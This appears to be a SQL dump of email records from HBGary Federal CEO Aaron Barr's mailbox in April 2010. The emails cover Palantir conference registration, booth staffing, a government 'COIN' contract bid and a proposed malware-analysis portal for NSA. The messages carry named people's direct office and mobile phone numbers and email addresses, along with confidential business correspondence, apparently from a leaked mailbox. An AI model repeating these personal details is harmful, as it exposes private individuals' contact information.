<ebhelp@eventbrite.com>','/aaron@hbgary.com/new/1297003137.M46611P3547Q4897.eml','aaron@hbgary.com','Access your ticket information for \"5th Palantir Government Conference\"','\r\n\r\n\r\n\r\nWelcome to Eventbrite Events\r\n\r\n\r\n\r\n    \r\n      \r\n        \r\n      \r\n\r\n      \r\n        \r\n        	\r\n              \r\n                \r\n                    \r\n                      \r\n                        \r\n                        You recently signed up for \"5th Palantir Government Conference\".\r\n\r\n                        \r\n                        You can now log in to Eventbrite to:\r\n                        \r\n                      \r\n                      \r\n                      	\r\n                        \r\n                              \r\n\r\n                                \r\n                                \r\n                                Manage\r\n                                the events you\'re attending.\r\n                                \r\n                              \r\n                              \r\n                                \r\n\r\n                                \r\n                                Print\r\n                                tickets and confirmations.\r\n                                \r\n                              \r\n                              \r\n                                \r\n                                \r\n\r\n                                Update\r\n                                your attendee information.\r\n                                \r\n                              \r\n                              \r\n                                \r\n                                \r\n                                Invite\r\n\r\n                                friends to events.\r\n                                \r\n                              \r\n                            \r\n                        \r\n                      \r\n                      \r\n                        \r\n\r\n                            \r\n                              \r\n                                \r\n                                Here is your account information:                                \r\n                                \r\n                                  Username: aaron@hbgary.com                                \r\n                                \r\n                                \r\n\r\n                              \r\n                            \r\n                        \r\n                      \r\n                      \r\n                        \r\n                        \r\n                        \r\n                          Log in to your Eventbrite Events account now\r\n                        \r\n                        \r\n                        Thank you for choosing Eventbrite!\r\n                        - The Eventbrite Team\r\n                      \r\n                    \r\n                \r\n                \r\n                	\r\n\r\n                      \r\n                      \r\n                      	\r\n                          \r\n                            \r\n                            Have questions about the event?\r\n                            \r\n                            You can easily contact the organizer from the event page.\r\n                            Click here to contact the organizer.\r\n                            \r\n\r\n                          \r\n                        \r\n                      \r\n                      \r\n                    \r\n                \r\n              \r\n            \r\n        \r\n\r\n      \r\n\r\n	      \r\n	        \r\n	        	\r\n	            \r\n	            \r\n	        	This email was sent to aaron@hbgary.com.\r\n	            To ensure that you continue receiving our emails, please add us to your address book or safe list.\r\n\r\n	            View our user agreement and privacy policy if you have further questions.\r\n	            Copyright &copy;2010 Eventbrite. All rights reserved.\r\n	            Eventbrite is located at 410 Townsend St, Ste 200, San Francisco, CA 94107.\r\n	            \r\n	        \r\n\r\n	      \r\n	    \r\n	\r\n	\r\n\r\n',10886,'aaron_hbgary_com/10886.html'),(4898,'2010-04-05','\"Palantir Technologies\" <orders@eventbrite.com>','/aaron@hbgary.com/new/1297003137.M577224P3547Q4898.eml','aaron@hbgary.com','Order Confirmation for 5th Palantir Government Conference','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n		\r\n		\r\n		Please Print the PDF Tickets Attached to this Email		\r\n		\r\n				\r\n			\r\n				\r\n			\r\n			\r\n			If you are having difficulties opening the PDF ticket please Click Here to Download Your Tickets \r\n		\r\n\r\n		\r\n		\r\n			YOUR TICKETS ARE ATTACHED TO THIS EMAIL and must be printed and brought to the event.\r\n		\r\n		\r\n		\r\n		\r\n			Event Information:\r\n			For more event details, visit the event page: http://palantirtech.eventbrite.com\r\n			If you cannot print your tickets or have questions regarding this event, please contact the host: govcon@palantirtech.com\r\n			To view all of your purchased tickets Click Here\r\n		\r\n	\r\n	\r\n	\r\n	\r\n	\r\n	\r\n		\r\n\r\n			\r\n				Share on Facebook\r\n				Invite Your Friends\r\n				Tweet This Event		\r\n			\r\n\r\n		\r\n	\r\n	\r\n	\r\n		\r\n		\r\n			THIS IS NOT A TICKET\r\n		\r\n		\r\n\r\n\r\n	\r\n	\r\n\r\n	\r\n\r\n\r\n\r\n	\r\n\r\n		\r\n			Receipt for Order# 539726336-10685801\r\n		\r\n\r\n		\r\n			\r\n\r\n				\r\n				\r\n\r\n					\r\n\r\n						\r\n							\r\n							\r\n							NAME\r\n							\r\n						\r\n						Type\r\n						Quantity\r\n						\r\n\r\n					\r\n					\r\n							\r\n\r\n								Aaron Barr\r\n								\r\n									GovCon5 Registration\r\n									\r\n								\r\n								1\r\n								\r\n\r\n							\r\n					\r\n\r\n          \r\n\r\n				\r\n\r\n			\r\n\r\n		\r\n\r\n	\r\n\r\n	\r\n		\r\n		\r\n			\r\n	\r\n\r\n	\r\n	\r\n	\r\n		\r\n		\r\n			\r\n				Do you organize events?\r\n				Start selling in minutes with Eventbrite. www.eventbrite.com\r\n			\r\n			\r\n			\r\n								\r\n			\r\n		\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n',312,'aaron_hbgary_com/312.html'),(4899,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003137.M779583P3547Q4899.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Checking in','I think him cleared would be very helpful. &nbsp;Let me know how you want to proceed.AaronOn Apr 1, 2010, at 11:58 AM, Clair, Chris (TASC) wrote:\r\n\r\nHi Aaron,\r\n\r\nIs there anything we want to do with Ted\'s clearance?&nbsp; I think I can get the OK from my customer to initiate a new clearance.&nbsp; From what I understand, Ted is very instrumental in the COIN processes.&nbsp; Let me know what you think.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 4/1/2010 10:38 AM\r\nTo: Lovegrove, John (TASC)\r\nCc: Clair, Chris (TASC); Garcia, Kathy (TASC)\r\nSubject: Re: Checking in\r\n\r\nI haven\'t I will check.\r\n\r\n\r\n&nbsp;From my iPhone\r\n\r\nOn Apr 1, 2010, at 9:37 AM, \"Lovegrove, John (TASC)\" &lt;John.Lovegrove@tasc.com\r\n&nbsp;&gt; wrote:\r\n\r\n&gt; Hey Aaron,\r\n&gt;\r\n&gt; We are still pulling the team together on COIN, we have a follow up\r\n&gt; discussion with SAIC tomorrow. I got a random report that the\r\n&gt; competition was cancelled, did you hear anything about this?\r\n&gt;\r\n&gt;\r\n&gt; John Lovegrove\r\n&gt; Director\r\n&gt; Office: (703) 449-3812\r\n&gt; Cell: (571) 294-5154\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; TASC INTERNAL DISTRIBUTION ONLY\r\n&gt; This e-mail, including attachments, is intended for the exclusive\r\n&gt; use of\r\n&gt; the person or entity to whom it is addressed and may contain\r\n&gt; confidential or privileged information. If the reader of this e-mail\r\n&gt; is\r\n&gt; not the intended recipient or his or her authorized agent, the\r\n&gt; reader is\r\n&gt; hereby notified that any dissemination, distribution or copying of\r\n&gt; this\r\n&gt; e-mail is prohibited. If you think that you have received this e-\r\n&gt; mail in\r\n&gt; error, please advise the sender by reply e-mail of the error and then\r\n&gt; delete this e-mail immediately.\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Monday, March 29, 2010 2:01 PM\r\n&gt; To: Lovegrove, John (TASC)\r\n&gt; Subject: Checking in\r\n&gt;\r\n&gt; Hey John,\r\n&gt;\r\n&gt; Just turnednin my DARPA proposal, decpressedfor a few minutes, then\r\n&gt; started thinking about all the other stuff going on.&nbsp; What is the\r\n&gt; status of your COIN effort and when would you like to set up anyone to\r\n&gt; talk about NSA?\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15484,'aaron_hbgary_com/15484.html'),(4900,'2010-04-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003137.M966300P3547Q4900.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Message to all Palantir Conference Partners - CORRECTION','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nPhil will be out of town.&nbsp; I don&#8217;t know about Rich. I can attend\r\nif you need me to.&nbsp; What are the times and location?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 05, 2010 9:56 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Message to all Palantir Conference Partners - CORRECTION\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nbob,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo we have any confirmed support from Rich. &nbsp;I haven\'t\r\nheard from him. &nbsp;Are you going to be there?\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 2, 2010, at 9:47 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRich and Phil,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe date is April 7 (not the 6th).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\n\r\n\r\n\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob Slapnik\r\n[mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, April 02,\r\n2010 9:44 AM\r\nTo:&nbsp;\'Aaron Barr\'; \'Phil\r\nWallisch\'; \'Rich Cummings\'\r\nSubject:&nbsp;RE: Message to\r\nall Palantir Conference Partners\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPhil and Rich,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron has a booth on April 6 at a conference help by Palantir in\r\nTysons.&nbsp; He requests that one of you help by manning the booth.&nbsp;\r\nMaybe we can &#8220;tag team&#8221;.&nbsp; Phil and I have a demo via webex at 2pm that day.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, April 01,\r\n2010 10:30 PM\r\nTo:&nbsp;Bob Slapnik\r\nSubject:&nbsp;Fwd: Message to\r\nall Palantir Conference Partners\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Timothy Ronan &lt;tronan@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate:&nbsp;April 1, 2010 4:32:31 PM EDT\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo:&nbsp;Undisclosed recipients:;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nMessage to all Palantir Conference Partners\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nmake sure that your staff who will be attending the conference next week on 7\r\nApril have registered at the following site:&nbsp;http://palantirtech.eventbrite.com/\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEveryone\r\nshould have received a Partner Booth Guide with setup details several weeks\r\nago, but I have attached it again for reference.&nbsp; Please take the time to\r\nread through this as there are highly important details included.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nhave also attached the conference agenda for your reference.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDon&#8217;t\r\nhesitate to contact me with any questions.&nbsp; Looking forward to your\r\nparticipation in the conference next week.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTim\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTim Ronan\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPalantir Technologies | Forward Deployed Engineer\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ntronan@palantirtech.com&nbsp;| 571.225.6179\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2783 - Release Date: 04/01/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/05/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7545,'aaron_hbgary_com/7545.html'),(4901,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003138.M177118P3547Q4901.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','Re: Checking in','How did the conversations with SAIC go?\r\nAaron\r\n\r\nOn Apr 1, 2010, at 9:37 AM, Lovegrove, John (TASC) wrote:\r\n\r\n> Hey Aaron,\r\n> \r\n> We are still pulling the team together on COIN, we have a follow up\r\n> discussion with SAIC tomorrow. I got a random report that the\r\n> competition was cancelled, did you hear anything about this?\r\n> \r\n> \r\n> John Lovegrove\r\n> Director\r\n> Office: (703) 449-3812\r\n> Cell: (571) 294-5154\r\n> \r\n> \r\n> \r\n> TASC INTERNAL DISTRIBUTION ONLY\r\n> This e-mail, including attachments, is intended for the exclusive use of\r\n> the person or entity to whom it is addressed and may contain\r\n> confidential or privileged information. If the reader of this e-mail is\r\n> not the intended recipient or his or her authorized agent, the reader is\r\n> hereby notified that any dissemination, distribution or copying of this\r\n> e-mail is prohibited. If you think that you have received this e-mail in\r\n> error, please advise the sender by reply e-mail of the error and then\r\n> delete this e-mail immediately.\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, March 29, 2010 2:01 PM\r\n> To: Lovegrove, John (TASC)\r\n> Subject: Checking in\r\n> \r\n> Hey John,\r\n> \r\n> Just turnednin my DARPA proposal, decpressedfor a few minutes, then\r\n> started thinking about all the other stuff going on.  What is the\r\n> status of your COIN effort and when would you like to set up anyone to\r\n> talk about NSA?\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5121,'aaron_hbgary_com/5121.html'),(4902,'2010-04-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003138.M381215P3547Q4902.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Customer demand for a standalone REcon product','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI think the diagram needs more work.&nbsp; Certainly, you can\r\nshow more detail and better define what is in it for the end users.&nbsp; I\r\nfind the DDNA Clip confusing &#8211; what does that have to do with TMC?&nbsp;\r\nThe DDNA Clip is for controlling licensing of DDNA on host endpoints.&nbsp; To\r\nme it has nothing to do with TMC.&nbsp; TMC is a runtime analysis engine that\r\nwill include REcon + DDNA or either one alone.&nbsp; The starting point for TMC\r\nis a load of malware either submitted via a frontend hopper or from end users via\r\nthe web.&nbsp; The diagram needs to tell what goes into the machine, happens in\r\nthe machine, and what comes out the other end.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 05, 2010 9:48 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Customer demand for a standalone REcon product\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYep sounds good.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAnd I can help sell both if needed, depending on if some\r\ncustomers want to have classified conversations or not, or provide any other\r\nservices within a classified environment. &nbsp;For example, if they need the\r\nintegration to be done in a classified environment, HBGFed can help. &nbsp;Let\r\nme know. &nbsp;I will start writing some today.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhat do you think about the following drawing? &nbsp;I think\r\nthere is an architecture that can work for Government using a web portal as the\r\nfront end to a larger environment.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOff of the NSA portal on SIPR net would be the ability to\r\nquery information (this could include Palantir stored scenarios) they could\r\nsubmit samples as well as request DDNA to be deployed to a particular box for\r\nanalysis and then submission back into the TMC.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/05/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1887,'aaron_hbgary_com/1887.html'),(4903,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003138.M579627P3547Q4903.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Message to all Palantir Conference Partners - CORRECTION','Someone else would be helpful seeing that I have never worked the HBGary booth before. &nbsp;There are going to be lots of folks from the Intel community there and I don\'t want to have a bad showing. &nbsp;I was not going to have a booth but Penny thought it was a good idea, so I signed up. &nbsp;I would hope HBGary could support (some technical I think would help). &nbsp;The conference is from 10-5pm (setup in the morning or evening the day before). &nbsp;Again, none of this I have done for HBGary so some help would be very much appreciated. &nbsp;I am sure I don\'t need someone all day, but I would like some help to set up (make sure things go in the right places and to watch the rhythm for a bit. &nbsp;I know some guys that want to give us some work are going to be there.AaronOn Apr 5, 2010, at 9:59 AM, Bob Slapnik wrote:Aaron,&nbsp;Phil will be out of town.&nbsp; I don’t know about Rich. I can attend if you need me to.&nbsp; What are the times and location?&nbsp;Bob&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, April 05, 2010 9:56 AMTo:&nbsp;Bob SlapnikSubject:&nbsp;Re: Message to all Palantir Conference Partners - CORRECTION&nbsp;bob,&nbsp;Do we have any confirmed support from Rich. &nbsp;I haven\'t heard from him. &nbsp;Are you going to be there?Aaron&nbsp;On Apr 2, 2010, at 9:47 AM, Bob Slapnik wrote:Rich and Phil,&nbsp;The date is April 7 (not the 6th).&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Friday, April 02, 2010 9:44 AMTo:&nbsp;\'Aaron Barr\'; \'Phil Wallisch\'; \'Rich Cummings\'Subject:&nbsp;RE: Message to all Palantir Conference Partners&nbsp;Phil and Rich,&nbsp;Aaron has a booth on April 6 at a conference help by Palantir in Tysons.&nbsp; He requests that one of you help by manning the booth.&nbsp; Maybe we can “tag team”.&nbsp; Phil and I have a demo via webex at 2pm that day.&nbsp;Bob&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, April 01, 2010 10:30 PMTo:&nbsp;Bob SlapnikSubject:&nbsp;Fwd: Message to all Palantir Conference Partners&nbsp;&nbsp;&nbsp;Begin forwarded message:&nbsp;From:&nbsp;Timothy Ronan &lt;tronan@palantirtech.com&gt;Date:&nbsp;April 1, 2010 4:32:31 PM EDTTo:&nbsp;Undisclosed recipients:;Subject: Message to all Palantir Conference Partners&nbsp;Please make sure that your staff who will be attending the conference next week on 7 April have registered at the following site:&nbsp;http://palantirtech.eventbrite.com/&nbsp;Everyone should have received a Partner Booth Guide with setup details several weeks ago, but I have attached it again for reference.&nbsp; Please take the time to read through this as there are highly important details included.&nbsp;I have also attached the conference agenda for your reference.&nbsp;Don’t hesitate to contact me with any questions.&nbsp; Looking forward to your participation in the conference next week.&nbsp;Best,Tim&nbsp;_________________________________________________________Tim RonanPalantir Technologies | Forward Deployed Engineertronan@palantirtech.com&nbsp;| 571.225.6179_________________________________________________________&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.791 / Virus Database: 271.1.1/2783 - Release Date: 04/01/10 02:35:00&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/05/10 02:32:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',284,'aaron_hbgary_com/284.html'),(4904,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003138.M891097P3547Q4904.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Catching up','Hey Matt,\r\n\r\nJust catching up after a hellish proposal and a vacation to New York.\r\n\r\nHow was the wedding and following trip?\r\n\r\nWe can try to catch up at the conference this week.\r\n\r\nMore customers (especially ones at NSA) are interested in DDNA and Threat Monitoring.  I am writing a whitepaper on the subject now and will be heading up there a few times over the next few weeks to talk about the subject.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3928,'aaron_hbgary_com/3928.html'),(4905,'2010-04-05','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','/aaron@hbgary.com/new/1297003139.M299622P3547Q4906.eml','aaron@hbgary.com','Proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n&nbsp;\r\n\r\nGreetings.\r\n\r\n&nbsp;\r\n\r\nLast week Bill had a few of us spend a few hours reviewing\r\nsome of our IC opportunities.&nbsp; Evan Hineman and Art Money were a key part of\r\nour discussion (Art says hello).\r\n\r\n&nbsp;\r\n\r\nWe may have an opportunity to get added to a bidders list\r\nfor some of your former work.&nbsp; You mentioned a name of the proposal &#8211; can\r\nyou refresh my old mind on what that name was?\r\n\r\n&nbsp;\r\n\r\nWould you be interested in bidding with us if we can get\r\nadded to the list by Evan?\r\n\r\n&nbsp;\r\n\r\nbob &nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\nRobert Frisbie\r\n\r\nSenior Vice President\r\n\r\nManTech International\r\n\r\n7799 Leesburg Pike\r\n\r\nSuite 700 South\r\n\r\nFalls Church, VA 22043\r\n\r\n703 847-5193\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15264,'aaron_hbgary_com/15264.html'),(4906,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003139.M498141P3547Q4907.eml','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','Re: Proposal','Hi Bob,The name of the opportunity is COIN. &nbsp;I was notified last Friday the immediate RFP opportunity was cancelled but there would be a contract re-compete late summer. &nbsp;The reasons for the cancellation I was told were some of the gaps the larger contract was to satisfy have changed. &nbsp;I don\'t yet know what this means for the contract that will be forthcoming.Funny you mention the contract. &nbsp;I have actually been working this with Al Pisani and TASC and had recommended to him recently that he should contact you about this opportunity. &nbsp;You had mentioned to me a few possible acquisitions in this area, and while not specific, I surmise those acquisitions may be able to help in this pursuit. &nbsp;Are you at a point where you could discuss in some more detail your growing capabilities in this area? &nbsp;I think there might be some other created opportunities in this area. &nbsp;Not sure if you remember, but TASC has an interesting media analysis capability that fits here.I\'ll mention it to Al again. &nbsp;I think it would be good to have a broader conversation around these capabilities.Thoughts?AaronOn Apr 5, 2010, at 10:17 AM, Frisbie, Robert P wrote:Aaron&nbsp;Greetings.&nbsp;Last week Bill had a few of us spend a few hours reviewing some of our IC opportunities.&nbsp; Evan Hineman and Art Money were a key part of our discussion (Art says hello).&nbsp;We may have an opportunity to get added to a bidders list for some of your former work.&nbsp; You mentioned a name of the proposal – can you refresh my old mind on what that name was?&nbsp;Would you be interested in bidding with us if we can get added to the list by Evan?&nbsp;bob &nbsp;&nbsp;&nbsp;Robert FrisbieSenior Vice PresidentManTech International7799 Leesburg PikeSuite 700 SouthFalls Church, VA 22043703 847-5193&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',927,'aaron_hbgary_com/927.html'),(4907,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003139.M692147P3547Q4908.eml','jd@executivebiz.com','Panel','J.D.,\r\n\r\nI took a note to follow up on a call your office made to me a few weeks ago.  I was deep in a proposal and couldn\'t pursue at the time.  Your office was given my name by a friend and colleague, Bill Varner.  I believe the topic was related to a panel on cybersecurity.  Let me know if I can be of assistance.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13882,'aaron_hbgary_com/13882.html'),(4908,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003139.M88273P3547Q4905.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Customer demand for a standalone REcon product','Lol. &nbsp;Agreed it needs more work. &nbsp;I put it together in 2 minutes. &nbsp;It was a concept to get your thoughts. &nbsp;The DDNA is for portal deployments, so people can download DDNA to a host system and have it submitted back into the security portal for analysis and then a report. &nbsp;Agreed on TMC it is just a runtime analysis engine. &nbsp;I am thinking of a larger enterprise solution for DoD. &nbsp;ok maybe we need to have a conversation about this. &nbsp;TMC + webefied Responder, so people can submit samples and scan systems over a distributed architecture. &nbsp;As well they can include the portal into their operational processes to search for strings, etc.make sense?AaronOn Apr 5, 2010, at 10:06 AM, Bob Slapnik wrote:Aaron,&nbsp;I think the diagram needs more work.&nbsp; Certainly, you can show more detail and better define what is in it for the end users.&nbsp; I find the DDNA Clip confusing – what does that have to do with TMC?&nbsp; The DDNA Clip is for controlling licensing of DDNA on host endpoints.&nbsp; To me it has nothing to do with TMC.&nbsp; TMC is a runtime analysis engine that will include REcon + DDNA or either one alone.&nbsp; The starting point for TMC is a load of malware either submitted via a frontend hopper or from end users via the web.&nbsp; The diagram needs to tell what goes into the machine, happens in the machine, and what comes out the other end.&nbsp;Bob&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, April 05, 2010 9:48 AMTo:&nbsp;Bob SlapnikSubject:&nbsp;Re: Customer demand for a standalone REcon product&nbsp;Yep sounds good.&nbsp;And I can help sell both if needed, depending on if some customers want to have classified conversations or not, or provide any other services within a classified environment. &nbsp;For example, if they need the integration to be done in a classified environment, HBGFed can help. &nbsp;Let me know. &nbsp;I will start writing some today.&nbsp;What do you think about the following drawing? &nbsp;I think there is an architecture that can work for Government using a web portal as the front end to a larger environment.&nbsp;Off of the NSA portal on SIPR net would be the ability to query information (this could include Palantir stored scenarios) they could submit samples as well as request DDNA to be deployed to a particular box for analysis and then submission back into the TMC.&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/05/10 02:32:00\r\nAaron BarrCEOHBGary 